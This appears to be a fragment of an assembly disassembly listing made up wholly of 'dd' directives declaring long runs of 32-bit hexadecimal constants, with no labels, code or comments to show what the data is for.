		dd 261142C6h, 9BBFF7F2h, 15857F1h, 7FE1E138h, 0E32A22A4h
		dd 35046C07h, 0EECDBCEh, 9F243B84h, 217AE943h, 1F09AD37h
		dd 964EAFE3h, 0CA0638E2h, 755CABFDh, 2A1700CAh,	0F1EDE47Bh
		dd 0CC573987h, 76DA452Eh, 0D9F5BF6Dh, 10B4E24Ah, 0A7639A47h
		dd 4576087Dh, 0E5C086B4h, 71F48069h, 999D40AFh,	4EC5828Fh
		dd 896D3A29h, 0C17CCAC1h, 273034F1h, 0BDFAFCA5h, 0BE86C321h
		dd 1CA3EF87h, 0BAF11A93h, 38CB8FBBh, 0E27B8686h, 5C30F0FCh
		dd 19D9B61Ah, 0ED38F64Fh, 40A0D4B9h, 0F4705BB0h, 0F5728681h
		dd 3DAB3CB6h, 64A8CF31h, 0F2E2154Bh, 43F70CE0h,	311B258Ah
		dd 91CBAE4h, 98078074h,	95D16903h, 9D37DB63h, 6B633B73h
		dd 1A2FD679h, 497B64E7h, 70A00770h, 0C97A36DBh,	7E11F7A9h
		dd 0B206683Ah, 0B350D3DCh, 0B3B72486h, 30461148h, 0CADBDE64h
		dd 0D64C108Bh, 2194054Bh, 53F8862Dh, 70AA0B65h,	6A4DAFA2h
		dd 600CEBC5h, 46A61625h, 0C320CC7Fh, 575F96ACh,	3A2AC66Bh
		dd 203333B2h, 63A602A7h, 0E81A1F6Dh, 39E5D476h,	6AD322E8h
		dd 4959428Bh, 12FCAEh, 48BB8520h, 0D37DAAB5h, 95400D27h
		dd 0DB5DD650h, 3801657Bh, 0A457C63Dh, 377FFA38h, 39C72CFEh
		dd 8450346Ah, 7816E8CAh, 1D2AEB12h, 0AF338B64h,	0B04C40E6h
		dd 0F7FC851Eh, 0D4074B5Bh, 0C42B22CAh, 0BDF20AD2h, 0FBDCE85Dh
		dd 0F3B8E7FBh, 0AA90423Eh, 2B8CAB5Ah, 0B653D8B1h, 1350BEAh
		dd 0C0664765h, 2B898364h, 6E23436Ch, 23E1B5Fh, 5BA6C192h
		dd 79B79510h, 9CA8C361h, 30466E3Bh, 58CCD230h, 66A5BEDFh
		dd 1569D4CCh, 1F0B7C83h, 7CADD70Eh, 0D0BC981Fh,	0DA7C5F44h
		dd 81A5D1EBh, 5723976Eh, 0D482E558h, 567EF5B7h,	0F2916F2Ah
		dd 6B5776F7h, 9144FA93h, 0F369328Ch, 0B43665C8h, 3C1FEC63h
		dd 0AF4742B9h, 76F1D895h, 8DD8B155h, 5880F10Eh,	0AD881A92h
		dd 275C6EC5h, 0ED349C12h, 3BD28E16h, 99592681h,	9381C8D6h
		dd 0BC3EEBFAh, 190E3E93h, 74E9A228h, 587D9A05h,	3E113EC5h
		dd 6E9FE3D5h, 0EDFE0C88h, 0B5036B55h, 0D0C27CA0h, 891EC63h
		dd 0E3489AC1h, 196E685Eh, 0D2E5263Eh, 0D594F9E4h, 7993B31Ch
		dd 3DAB0BCAh, 79616CB2h, 0C1461C02h, 0AA8929C2h, 0ADE872C7h
		dd 99C7E091h, 27C17FBDh, 4AF237A2h, 0A7946AD1h,	0F44AA6C6h
		dd 1A6E4548h, 5EDE7A56h, 0C8919C3Bh, 188022EAh,	0BFAD5EC8h
		dd 54A36274h, 702A22CEh, 0B4E64268h, 0E71ABC74h, 5AD3A93Ch
		dd 0FF75E888h, 0DF3024EFh, 62388EBh, 0CBC2E01Fh, 50A33CB8h
		dd 2D27C996h, 88507A7Fh, 706D602h, 47E56392h, 9398AE67h
		dd 0ED062F63h, 2DD30FBFh, 12D690E3h, 358777D8h,	597F1733h
		dd 54F5B8Dh, 48420C7Ah,	0F7F5DDCCh, 35C6CACh, 0CC0885D2h
		dd 7856FB07h, 0AE670476h
		dd 56B5B95Ch, 0F9DBC232h, 5548FE44h, 0CE07E876h, 46A1A4A2h
		dd 0D04F885Ch, 5AD097ECh, 0FEA7A616h, 7661CF99h, 386F6770h
		dd 0F9804C00h, 70AB9771h, 2F4E7C25h, 17EC818h, 0C4B9F4E1h
		dd 0E78987B9h, 0E328FEC3h, 906EF6A1h, 0C72DF04h, 3E2FB2FDh
		dd 2E774F5Dh, 3381A93Fh, 221820D3h, 0CFEA85BEh,	92CAC8h
		dd 28DEB1D0h, 0A5188D7Fh, 6FC73DA7h, 304B51E0h,	77754A32h
		dd 3118F9BAh, 982C9CDCh, 5C08D380h, 0C38BDB4Eh,	97E64E17h
		dd 0CBFF95FDh, 0D6C69444h, 9D05C8A7h, 0D547474Eh, 9434F7BEh
		dd 8699E6C5h, 4A4CCA78h, 467E0851h, 0FE37D107h,	0C28E4792h
		dd 485110C0h, 1AC3D29Ch, 7C684EB8h, 0E761C41Fh,	3052342Bh
		dd 5FAA2BEFh, 96E19FB9h, 0D3361E5Bh, 8EE4E9E8h,	488A70A5h
		dd 0F245DA63h, 1F8FF44h, 891F2F00h, 9AA600CAh, 0D306C802h
		dd 0F2882CC1h, 0D42BC152h, 0D6D1FD1Ch, 40F1B8h,	0CA2D9FB5h
		dd 0F5D4FA26h, 0F0BBD92Ah, 597D4012h, 0FF853AEDh, 184BE9Dh
		dd 70D0E3F6h, 8834CC4Bh, 0BE1C5696h, 24819A39h,	6E656A0Bh
		dd 0E1E8E555h, 0CA3122ECh, 827223E5h, 0AC5DDEFh, 914B1146h
		dd 0E49EBED3h, 0E48901DEh, 0D10E1E45h, 0D23ED353h, 0A947BA08h
		dd 291B5711h, 40C0942h,	14073EE6h, 3242374Fh, 138AFD14h
		dd 0EA71F1E2h, 57C6A98Dh, 82EFA210h, 39656AFAh,	0D130C2F5h
		dd 8C910127h, 7A1D5AC9h, 26556991h, 0B1C2CC8Fh,	5EDA1AB7h
		dd 0F6B4D726h, 6F4CCEC6h, 18B4C82Fh, 0EA68764Eh, 6E39A072h
		dd 51FACECDh, 0C0A3A66h, 5C7ACFAh, 5C5CD5BBh, 975E1F12h
		dd 0B0580B86h, 0A1B3C0F1h, 0E54B4306h, 31FB000Ch, 4944410Bh
		dd 6CCF133Fh, 54119C58h, 3E082286h, 91D37663h, 344CA3A5h
		dd 57C2812h, 0AD6AA1CAh, 70888255h, 4D7EDEB3h, 5B0339C2h
		dd 5B7361EFh, 12136C16h, 0FD7D29Fh, 38E1C9C7h, 4DCF05ABh
		dd 0B418B428h, 1D1925CDh, 0C248788Eh, 0EA865678h, 4B26EDD3h
		dd 9182C858h, 23E82BB6h, 92E8109Dh, 0A9988E7Eh,	94EFB065h
		dd 0CAB87DF6h, 0B3C5EB24h, 1095EDAEh, 98F53DFh,	0E6CA654Dh
		dd 6A59DBB4h, 24A93466h, 4FC969A1h, 43E26ABAh, 310B6F22h
		dd 7A98E750h, 80DEF639h, 0F627AAAEh, 8289D1F1h,	0C25F3E06h
		dd 65503F13h, 0A88E28C4h, 0B928090h, 9C240D9h, 0A2E57187h
		dd 807FB77Ah, 469EA779h, 7BFDD097h, 3A297E12h, 53DDD511h
		dd 0E7F8AB38h, 47C5F2E7h, 0A3560415h, 0CC8C202h, 76AE13C8h
		dd 262CD0EBh, 21FAC3D6h, 0DC430962h, 1277ECD4h,	0AF6EB39h
		dd 94417B53h, 0B0414275h, 8BEEBD73h, 197B0441h,	5B0F23E9h
		dd 3738B98Bh, 61A95F7Bh, 15C1D669h, 0AB9A8F9h, 3C13C8CAh
		dd 78D6EEBBh, 4897DAC8h, 6A5DF187h, 53028D97h, 876816A5h
		dd 7672CB5Eh, 0CC19D658h, 0CA3836DAh, 0B0578AA5h, 8F037C96h
		dd 62AD53B8h, 0DB75D9B9h, 27A18FB7h, 0BED1ECAEh, 99859017h
		dd 222094ADh, 10098AFEh, 914D3221h, 8E619752h, 0D39658CFh
		dd 0CD2591F4h, 0DE07D738h, 0B849B515h, 5B4060DDh, 48DE20CCh
		dd 0E7484D99h, 0C9AD19E1h, 78856D20h, 0C5ABF918h, 71E7E31Dh
		dd 0ABC36C01h, 5F843A0Eh, 5862C562h, 673D15DEh,	0D19AADFh
		dd 1E60469Eh, 226C184Dh, 0B3DF2959h, 71F4F1h, 0F201FD2Ch
		dd 1E1FDE8Eh, 67EEC5B0h, 0DD9EDD46h, 5D270C94h,	69765B10h
		dd 0D4D34084h, 544CB341h, 0A455EDD7h, 62E16A19h, 639AE8AEh
		dd 7ED96B7Dh, 3A96A584h, 0C4BAC6B9h, 54C4FFBh, 0A3D9CB60h
		dd 860D756Dh, 0DB80DD7h, 0F7EC9C65h, 76014687h,	0F0799D3Dh
		dd 6CDC7452h, 0BB7035Bh, 45B7B0FDh, 63039002h, 3ED2DD33h
		dd 66A04862h, 0C107FFDCh, 0E8FBAC10h, 548FC80Dh, 7DD193B3h
		dd 0EDD3042Ch, 257F5D63h, 52F5CEEFh, 0E37D016Dh, 245854AAh
		dd 5F60E8B4h, 3EDA43CBh, 96B5A072h, 3C8334A3h, 806D46F4h
		dd 514D3A8Ch, 7F0F69FAh, 57903E1Ah, 6697E9D6h, 2846030Ch
		dd 0BC1FA75Dh, 0CE71699Dh, 0AE2FD2A5h, 88ABE138h, 0E1DAB514h
		dd 6BCDFC40h, 0B380DBE2h, 541EDBEAh, 0AF29B8DDh, 338B95A8h
		dd 1AAE32E2h, 1F3421Dh,	0D38AA1C1h, 0F74738DBh,	1C15A5AFh
		dd 0BAA001B6h, 0C5E13D1Ah, 4FE608C7h, 84FB2C58h, 4F8259D5h
		dd 0D9926535h, 6EB70A42h, 0D4DF2777h, 0A22D8E1Ch, 0BA5D2097h
		dd 0E86EB307h, 0E3B3ADD5h, 0B7B1060Dh, 0D0240426h, 3230BCEAh
		dd 1F32FAE6h, 10095A4Dh, 0A9AED251h, 9EA3E687h,	86A001D4h
		dd 0A7B5A29Bh, 0A4EC19A7h, 738A4717h, 0B2D72ACAh, 0DF2C80F8h
		dd 792DCEA5h, 79EA67E9h, 89585A7Ch, 78BEB0BFh, 8D49160Ch
		dd 91F942BCh, 765494B5h, 603E5AFFh, 23FC7129h, 0C15BF635h
		dd 3307D8F2h, 0D377C7E5h, 0C43101B4h, 312C36B4h, 0A73E1518h
		dd 4D30C5AAh, 46487910h, 0DEC34E4Fh, 0A997ADD8h, 679FE13Ah
		dd 0CB13D758h, 0B5D72470h, 0FB79B51Dh, 53347Ch,	0BDCE1483h
		dd 5400BBDBh, 6ACEF17Dh, 0B64EC086h, 0C95B38C4h, 0CBB633CFh
		dd 1B645BCCh, 3531CA93h, 0C644C0C7h, 8EFE68AFh,	0EC8D6B03h
		dd 0DD3262E6h, 1098CDBAh, 7B7CF4CEh, 2BFB90F5h,	0FF5A95DBh
		dd 90567854h, 9141EC13h, 0CB0F1AABh, 8DB526C6h,	7C08DA14h
		dd 912F93BBh, 4D4B3503h, 0FC2A3458h, 6A185A9Fh,	0C44CD319h
		dd 0A3943E60h, 7525FCE8h, 0AF450C8h, 2FD4ED4Fh,	45E68530h
		dd 4B90F044h, 0C961D519h, 48DDCC0Eh, 7AE1D130h,	8CF91C2Eh
		dd 6A3558BFh, 16512B3Bh, 4DD48B89h, 801F62E8h, 0FECA8E79h
		dd 0CDFAD6D3h, 317774EEh, 4C655571h, 0FE6D9EF5h, 0F9B7FDAEh
		dd 7632767Ch, 1D68816Ah, 2AAD17E6h, 0E2D13FBh, 9A7C686Ah
		dd 4DC89D60h, 49846980h, 0B8F5E351h, 1B0BB250h,	0D9096AA0h
		dd 0F36FEAFFh, 817252BEh, 6413C8A4h, 8C7A47ECh,	0BC94B6EBh
		dd 0BCA39EBFh, 0A17F8DE1h, 393E5765h, 0C473A1ECh, 0FA450637h
		dd 21B36998h, 6B8340BFh, 1D8398E6h, 0C49FBAFEh,	0E9262CF2h
		dd 0C03B23E8h, 4AE2080Ch, 4E9DA3BCh, 5B1228A8h,	32A42994h
		dd 23493984h, 1086540Ah, 0D75ADB50h, 0AC3BC973h, 3D0CFE08h
		dd 0D0F3C2E5h, 84C0E41Ah, 2185ADC1h, 29FB64EDh,	164175EDh
		dd 7534F58Fh, 0A68F3CC1h, 20E88830h, 0B9B7648h,	4BD36160h
		dd 4A63D9CDh, 0FB3EEBF5h, 0D57EDCBFh, 7D899C8Bh, 675683CEh
		dd 23A98CDAh, 11F18A88h, 1ABFF623h, 94D28F9h, 0B0FF4DD0h
		dd 0A431106Bh, 61898998h, 0AB56B2Bh, 7DDCF141h,	0C0EEBDFAh
		dd 5DA5A1EFh, 988E538Ch, 808F907Eh, 0BFD87CE2h,	10089936h
		dd 0F27DD7CDh, 706405D4h, 793A0852h, 0D0990ED8h, 1C0D6Ch
		dd 0A8C46575h, 0FA4B5DBCh, 41B16DCEh, 5BF0F2F1h, 86C29F9Bh
		dd 0FB644B78h, 8F366335h, 0E9B5AC2Ah, 0AA6CABD4h, 1F80AE69h
		dd 6DC81DB1h, 0AAD9A2E5h, 12F58653h, 6AF169CAh,	0E49F268Dh
		dd 26C14AEh, 4E7F293Fh,	0D4A9C1A0h, 0A83352BAh,	0D1C76304h
		dd 46AF6867h, 827F3288h, 1C83301Dh, 6062F32Dh, 15810717h
		dd 432F8293h, 8C8A0680h, 0D6F5FC72h, 182E7991h,	6FD90471h
		dd 27FA5824h, 0A3A75E25h, 0E4E52007h, 1880C8Fh,	14618E06h
		dd 7059D14Ah, 0B9AA7592h, 1C22089Eh, 0DEE08262h, 0F6018C2Ch
		dd 7652D66Ch, 0A03067E4h, 0E3C244D8h, 0F23B42F6h, 0A456ACC6h
		dd 3C9D857h, 0FB1A4B10h, 7764838Eh, 68AB64CBh, 0E66D1BF4h
		dd 0B5DDC724h, 486A9049h, 1D3FC796h, 17E4DC66h,	83FDB247h
		dd 4ADFE498h, 0E27CD60Dh, 0F4E94F9Fh, 0C4330D13h, 0C377C982h
		dd 36CD73D8h, 453387E6h
		dd 893C167h, 6625BF43h,	6EB53D6Eh, 0F0B8311Ch, 900DFF3Eh
		dd 85CAAD1Bh, 0CAE7817Dh, 0F6E3BC7Bh, 174592D0h, 4C5A3EBEh
		dd 0A6AEE5EDh, 0D7FBF680h, 0C42806B1h, 0A6380253h, 5DFC1A18h
		dd 4FDB6B31h, 716A143Fh, 1F76C061h, 0F1F043ECh,	656C2A1Eh
		dd 0B52FEC91h, 0BA672935h, 0CA4E700Dh, 6ED68D4h, 0EB58CEA6h
		dd 71BCB33Fh, 677D9661h, 85114134h, 9D96137Ah, 0B1172A76h
		dd 6366E5A9h, 595C10DBh, 481BF65Bh, 8BC8F6Fh, 81A56E43h
		dd 0BD42EE48h, 63FBA0D9h, 18DF2B43h, 0B8303F85h, 0A9CF2E2h
		dd 67DCCF4Bh, 0CE1F9AFEh, 7426D614h, 1447C0EBh,	97355F86h
		dd 4C48405Ch, 91020C49h, 3CB2C0Dh, 3F5A195Ch, 0F8BB87C1h
		dd 0B450C2BDh, 1AE83098h, 8D0E6DBh, 3DFBA8E6h, 0FA696153h
		dd 64D512C9h, 611138B8h, 0BE5547Bh, 681241D1h, 0F6B3CE95h
		dd 11B9528Dh, 0AA3BEB9Bh, 0B371F1B2h, 0A6303BAFh, 5EA98742h
		dd 90514233h, 0B86109E7h, 0B89A4DEFh, 0E83648C9h, 0A546616Ch
		dd 0FF4EBDB8h, 0E3BA624h, 9685CF7h, 1A0AC54Ah, 0B03B5BC7h
		dd 7944249Ch, 9BD7C6AEh, 37995740h, 84910D62h, 6AF44DB3h
		dd 0EFD7B631h, 94BD585Eh, 1966549Dh, 33FAE915h,	0ECF23BC0h
		dd 29A02465h, 9D9F7054h, 97921F20h, 0F62B51F4h,	8F05B5FAh
		dd 0F21DC3B9h, 209321A4h, 0D9DC87B5h, 1B43D086h, 0CC163755h
		dd 78011EDBh, 99D1FEB2h, 6484DBB8h, 0D4F94851h,	0C06DD9DFh
		dd 0E1A04A48h, 820BDE3Dh, 0C2437788h, 3C3D6DD6h, 94691DAh
		dd 78E60E23h, 55E8BF5Eh, 0F312AB89h, 0F5316FE9h, 0D91F30BAh
		dd 78EAC416h, 0A6E1BA62h, 0CDA8FFA5h, 0C1BD32E4h, 0BC26CC6Bh
		dd 90A80E26h, 0C22F2EF8h, 0B6CECA76h, 897BE3A9h, 0A0187F9Eh
		dd 0DEF5B89Ch, 81D3DD3Bh, 1951186Bh, 0DF68D1EEh, 97488892h
		dd 8D46356Eh, 17AABEB2h, 0EEEB60CDh, 71CF9477h,	0C008E8D1h
		dd 37E170C5h, 0F0494B95h, 8A54BC48h, 0E2FD9EEEh, 2FC7F76Bh
		dd 0D773BCD4h, 693B704Ch, 0D5B12F80h, 68C8B9A6h, 58AD3A01h
		dd 3938E079h, 551383D0h, 0AA5ED524h, 0F12EC8B0h, 837B284Dh
		dd 0AE746E26h, 0DDDC8007h, 58D94BD9h, 548E99F4h, 0DFA4896Dh
		dd 0B84EC94Bh, 0D2E70EA6h, 95C7CF9Dh, 78849B1Ch, 28DE594Dh
		dd 475EF274h, 123875F5h, 0E1C99208h, 0B6A5A59Eh, 0DDD80F7Ch
		dd 0D1AA58FAh, 399E56DEh, 3AE78696h, 22D714DDh,	172C9h
		dd 0BDB1B489h, 783CF3D1h, 0E51756E7h, 0BE760612h, 0A7149CF3h
		dd 0B04FB359h, 0B7CD6D6Ch, 0ACAEA270h, 67361DB8h, 0B1489791h
		dd 54895793h, 665AFA92h, 8D73E66h, 84F7518Dh, 750756EFh
		dd 0AD37743Ah, 686C8EE9h, 8B97F8FBh, 70A3E2C7h,	97169E0Eh
		dd 0DA9513FCh, 0D2F89AC2h, 0DE5F4DD8h, 6E3CC5h,	0AD5D0D30h
		dd 946E5EC3h, 98DE7E97h, 0CB2F36F0h, 0B1FE354Bh, 0E701D69Ah
		dd 21A6006h, 95B68F61h,	0EC45D3F6h, 6A5BE795h, 6AF27DF7h
		dd 0BC4C34ADh, 297C8B87h, 543957CCh, 94B3EDE5h,	3C407081h
		dd 0A255FE81h, 79ACF7B0h, 8694E378h, 0C6415445h, 0CF4A0015h
		dd 0BB35F45Bh, 651ACBB6h, 0BB426D55h, 9C0DE1E4h, 62E33CC5h
		dd 3AC699C2h, 31DB52D5h, 5DBC295h, 1B1F5D17h, 1D352204h
		dd 2E23DCF2h, 0A795AC65h, 40174E2Ch, 6CB0C247h,	0CEFC72BCh
		dd 4430FB99h, 88A0FD0h,	915986B8h, 345FE5F1h, 84E55AF3h
		dd 20058A9Eh, 6D532DEBh, 493E0CC3h, 9D5D6324h, 93CDE7D1h
		dd 57C2EB38h, 96530B6Fh, 2193DF22h, 62796BC3h, 0E6B6E838h
		dd 8BC20CE9h, 1D64F18Dh, 0D54D4FE8h, 31E84F6Ah,	0ACD9BF44h
		dd 0FC57397h, 0C0BAF1EEh, 40F72277h, 0CE8AAAE8h, 754AF521h
		dd 0DD4E07BBh, 45E16D60h, 2D9345Eh, 21531h, 8FDA319h, 3BD03AE9h
		dd 0AD03035Dh, 0A00E4CDEh, 8479C2A3h, 0EF69878h, 0DBC724B7h
		dd 42AFE28h, 0DB10CC58h, 0D3612E47h, 2960E97h, 468FCFDDh
		dd 757F86A7h, 0F052046Eh, 411DF9F4h, 9F54930Bh,	6C7C8211h
		dd 0E278FA99h, 0BD8582B9h, 419A2EC0h, 0E06D7205h, 7C93486Eh
		dd 0F7E702FDh, 9285EC1Fh, 0F7AF209Dh, 0FA9D2764h, 72BF5F32h
		dd 6DEC1AB7h, 0C80705FFh, 0CBDF105Dh, 80E0BCCh,	3E15CDF3h
		dd 0DC6F83E1h, 91C1987Dh, 81FCD48Dh, 6687D433h,	2026DE35h
		dd 67B81D45h, 8B64B252h, 7CFA8F6Bh, 8C1BB2A6h, 0C93919D7h
		dd 590D6296h, 0FF16B637h, 39AD8285h, 236880h, 32C4ECD7h
		dd 584BD309h, 2A3EB4BEh, 5E5920D4h, 69261651h, 0ACDD2D13h
		dd 63736F5Eh, 0C8B9E79Ch, 2E0AE2C1h, 28965C60h,	0A77ACCDBh
		dd 0CAC7540Eh, 0A5E5135Dh, 0B143FE7Bh, 0A39F5FFCh, 6AB22232h
		dd 8B5A997Eh, 0F4FE055Fh, 0B3612C9Eh, 0DB326A63h, 0D4C58254h
		dd 0ED81C33Ah, 92B4D9Eh, 4C8702F7h, 832F19BFh, 17D87C66h
		dd 832D490Eh, 4E05928h,	0FE96E4DDh, 4A44884Bh, 0AC3D4AF4h
		dd 2E3DE5D0h, 1BF56926h, 50B127B8h, 837D26BBh, 0D999BD98h
		dd 528B6B40h, 59554670h, 65537D78h, 0FF93FB5Dh,	2EAE933Eh
		dd 0A85BD0D1h, 0B3906BEEh, 0E8F71FA4h, 286BF038h, 7428171Dh
		dd 6EF7ACB1h, 885158ECh, 2B71CEB1h, 6489AD15h, 0E3CD7E9Bh
		dd 62AE7E56h, 583D3A5h,	8364D052h, 1167F1B0h, 62C50D96h
		dd 0C3D8BC89h, 0B82D87h, 0F4BCD665h, 0F37BE02Fh, 6AEEAD9Ch
		dd 1889FFE7h, 73945E2Ch, 85C28A8h, 5B929AFh, 1F1839A9h
		dd 0C0DC64D6h, 1A5C280Fh, 1A92C527h, 6DF92B02h,	0DE705A69h
		dd 0D2A55368h, 743E9A18h, 5F83182Eh, 0D060D695h, 0F2AE50A6h
		dd 432E1E72h, 64295972h, 85A41D02h, 7D0E480Fh, 906ED962h
		dd 55640AE9h, 0C1A62DB9h, 7E0DB6D2h, 0FD344CE4h, 0E4750DE1h
		dd 8C31D43Bh, 50665BD8h, 0B0AB3A8Dh, 0A557D2F9h, 1963BF4Ch
		dd 8F959725h, 46453827h, 0F77A84FBh, 2F72DEABh,	6BEE0F5Dh
		dd 0E1728A16h, 12279B3Dh, 8FE0ED3Bh, 1B87BFE1h,	36414A62h
		dd 8E0CD753h, 0B79B28FFh, 37F37ACFh, 37AC0753h,	14D7BF13h
		dd 1E55BAD6h, 13BD3C8Ch, 5E2283FAh, 9639D992h, 75395F6Ch
		dd 0E0E8A0B8h, 0A82B1A88h, 0E9A056ACh, 525D908h, 3B9F1E9h
		dd 130DCACFh, 0A2AB8865h, 0D38940C4h, 479DBB3Eh, 0F8B94E23h
		dd 7CC362EFh, 90C64AF7h, 153719C1h, 0C958382Ch,	0B67455D2h
		dd 1F945DB7h, 0DFA5CC81h, 2DCC6E02h, 0E7547B48h, 535A5BE8h
		dd 88FB7A1Eh, 37E40E48h, 616A5F70h, 2B5DEC94h, 3EFA936Ch
		dd 6103B3E0h, 2B453A1Fh, 0B1F5F6D5h, 91DFA943h,	75BC71BDh
		dd 879F9FE9h, 0C5382C09h, 65AC3D0Ah, 0A6B64222h, 18A77358h
		dd 374D3546h, 3699C991h, 0C124EC44h, 0F28EBF51h, 1AEB168h
		dd 8B1E876h, 0A438A164h, 0BD1AB601h, 56D0A6B8h,	4FCB20ACh
		dd 0C616BC04h, 0F23DA399h, 0E6EF098Ah, 77974C04h, 9B26B0E9h
		dd 0F159F057h, 0CD39899Dh, 0DB360533h, 0A48AB859h, 205DBF96h
		dd 0EA3F3034h, 1D64BC4Eh, 0FEECE37Ah, 968CAA75h, 21F103Bh
		dd 0FBC5C676h, 3D135A2Dh, 51314FECh, 4447B550h,	90D7C400h
		dd 2C759211h, 367CB323h, 5B15B4B8h, 0C58938EAh,	0B5DDEAFh
		dd 0A00F2E10h, 0F42092C9h, 7F18640h, 3795A9AFh,	0B1ED2846h
		dd 86BD4FC3h, 6BE03F86h, 0B706E398h, 80EE961Ch,	466E65DDh
		dd 0B195096Eh, 0FC7ACA60h, 1A1A4F81h, 71728328h, 0F8C555FBh
		dd 4354F321h, 29E66771h, 5025D03Eh, 664BCD51h, 9CE9A829h
		dd 0CFE6FBAFh, 2BDA3225h, 0B6029E7h, 6DFA5B21h,	6CD01B1Ch
		dd 0F63E3F21h, 1E7FA218h, 0B0CD2B1Ah, 5E5F1D49h, 47892404h
		dd 9AB282BCh
		dd 0AF2733C4h, 4B5161D1h, 0FCC645CAh, 9420176Ah, 5D32C6D6h
		dd 30F7EB20h, 0B8C04E00h, 997FD4D3h, 4347570Dh,	9C269800h
		dd 0AA3B3092h, 5ECE3D6Ch, 93B98CB8h, 129CDFCCh,	94DE7960h
		dd 364433C1h, 95B1CE9Eh, 96BE2E63h, 278A5AE0h, 0F56DF1A9h
		dd 59C36847h, 8DE2570Ah, 38F1D9E5h, 8C43604Ch, 5F3D7076h
		dd 0FC9A3AB5h, 0B9A3975Ah, 5A9569E0h, 639FC5B2h, 2CE1A802h
		dd 9D8BC59Fh, 70BEAA21h, 15167BB7h, 0F5EA277Fh,	801BF0Ch
		dd 42291BE8h, 0CF985366h, 9D141824h, 65EE2F89h,	0F2673CAEh
		dd 968420FFh, 0BF0E2C75h, 0C838570Ch, 0BE0BCF5Bh, 842CCFD6h
		dd 2A531374h, 9E676398h, 3FE81F94h, 0DD1682B5h,	259DD381h
		dd 709EE1Eh, 988182EFh,	0E2F193F8h, 0AD9F86C3h,	0E26C61F4h
		dd 0E4321116h, 282EB57Fh, 7A29AF8Eh, 0E6F25245h, 0CC6B74E5h
		dd 0D648AB1Ah, 82DE09D7h, 1C96698Eh, 0B9FA4DBAh, 0F0462154h
		dd 0DD2B9BACh, 0BCA07D68h, 0DFAA29C7h, 1FA3018Bh, 9B36AFE4h
		dd 0DE3756DFh, 96D3BA9Fh, 0DF57001Ch, 0A60E6C3Ah, 0AF4BBFAEh
		dd 0EE1BCD24h, 0D5349DA7h, 54ED9050h, 3AC5B5Eh,	62592671h
		dd 5FF306E7h, 50F9C4B4h, 420B2FD3h, 0E5DA16E6h,	4BCA25A8h
		dd 9F804358h, 81DF05AAh, 3801D4E6h, 0D35173BEh,	7897546Ah
		dd 0ADB68D3Fh, 7BF5A95Dh, 0E2AFD7DBh, 54B2BF9Ch, 48EC7D29h
		dd 1F3D3BDEh, 0D5578FC6h, 0E1D219E7h, 0D74BE126h, 0D5D01EE5h
		dd 3081AB4Ch, 92942979h, 0FB8D5325h, 0E19B8C08h, 4F9E53A7h
		dd 0F64E065Dh, 725112Ch, 83E09326h, 5F0DC990h, 0DFE851FAh
		dd 0CD689A79h, 0CCA020CCh, 0F1C37FC6h, 0E2BAB380h, 0CCFFED95h
		dd 134213EEh, 0EA7BFF54h, 0BC106F45h, 2B9968EAh, 7628A195h
		dd 7872E2CDh, 267632E2h, 0C8868DB1h, 82EC3F21h,	270B9D3Ah
		dd 0D355D22Dh, 156C2346h, 6966499Dh, 10479E2Ah,	698777B1h
		dd 0F4099441h, 0EC27997h, 0D7E6F404h, 7BE0C608h, 7993AE68h
		dd 9E7F1E72h, 22975F72h, 0ED98E510h, 0B058A74Bh, 9BE0977Dh
		dd 80DCEC1h, 9D08C19Ch,	4AE96F12h, 0EDCD6EDh, 1BEC0CFh
		dd 0AC626C73h, 0A9BC4AD6h, 33563D6h, 63D99330h,	7B366CEh
		dd 0A455452Fh, 2A379FB9h, 0B33548F8h, 84C8F3BCh, 9B49CB3Eh
		dd 0FDE3EDF7h, 1CD12542h, 0E236518Bh, 658F3445h, 0AC15DA15h
		dd 0B7A9258Ch, 24276442h, 142D3F73h, 7B20A94Ch,	0CD356F82h
		dd 2FE0A283h, 5EC77E01h, 5935F801h, 0E2D16FBBh,	0C1C89A7Dh
		dd 0E3A24F2h, 97E4F194h, 0AA617D51h, 0F95CE86h,	8C8D41BAh
		dd 0CD264332h, 435CAD88h, 8C2B7931h, 0A7EDC1B1h, 2EF83960h
		dd 5AC08D19h, 72CF0099h, 32D73058h, 73FF62E1h, 0DF4DA40Eh
		dd 509DA680h, 0E5594465h, 0DF106BCDh, 795E865Dh, 931B0CFEh
		dd 0E322307Ch, 10A28A0Eh, 0EE161B41h, 5CDE6A85h, 0B412419h
		dd 0FBBC2DF4h, 0F82BB1Ch, 0D95CE304h, 2A015744h, 73632CCEh
		dd 7C627417h, 352E92EEh, 0ED3C20BBh, 0E0CA2BF9h, 0FEC73959h
		dd 8040FC7Bh, 0ED8AF3F6h, 9718C76Bh, 25654AE2h,	0DFA7691Fh
		dd 50DCBF35h, 5B5B4C4Bh, 1D45BC01h, 112F46D9h, 7AD7B531h
		dd 501A0D87h, 5BAE49E3h, 2C100C3Ch, 0E1837C30h,	585E0680h
		dd 0EFF2463Ah, 4B8C99D8h, 0AFC65E12h, 5A9FFABCh, 22A96E26h
		dd 4F9CAEB0h, 6EA9C381h, 290A134Ch, 0E7A6AEBEh,	0F6563A33h
		dd 389AC20Dh, 2CF87366h, 1098CDFAh, 7E1AC220h, 108FBDD0h
		dd 3DB05F9Ch, 0B37F3A54h, 59D5522Bh, 60BAA49Ah,	3305EDB8h
		dd 6A360B92h, 5017E0F9h, 40A3081Dh, 0B2781B43h,	99E40A9Ah
		dd 0C3112732h, 53417217h, 81E44F26h, 4A2DF73Fh,	357FF6CCh
		dd 2BB126C5h, 966AAA9h,	0A8339762h, 6F53F080h, 190D8C3Eh
		dd 0D62F1D6Ah, 36D20E0Fh, 124D41AAh, 0EEB58947h, 0F7A3C9A4h
		dd 0E6CC6735h, 5D7A15D5h, 87250D55h, 0BBE5A34h,	1437DE9Eh
		dd 59199E84h, 494B8E54h, 766AF155h, 0ADFAD255h,	0FB6B42D1h
		dd 83919875h, 95F41BB7h, 82647960h, 0AE7BF5E0h,	1669156Eh
		dd 0C5B14D37h, 0FE5BEFCFh, 817714C2h, 0AACCB06Dh, 767CB45Ah
		dd 4676E77Dh, 7A1075Fh,	0BE31A7F1h, 41BB5531h, 76E2AD66h
		dd 323BF6DCh, 0F2CD63CEh, 0B936ACA7h, 96151383h, 60CACD3Fh
		dd 0E1E35B5Ch, 0A4136513h, 37D5A1DDh, 0E95B2C6Fh, 79C966A1h
		dd 0C2F22FD7h, 4CD75B43h, 0F7586F72h, 0D60C5B7Dh, 0D176176Bh
		dd 0FB23A25Bh, 6193E018h, 8E3759A2h, 0E310F934h, 78EB23FFh
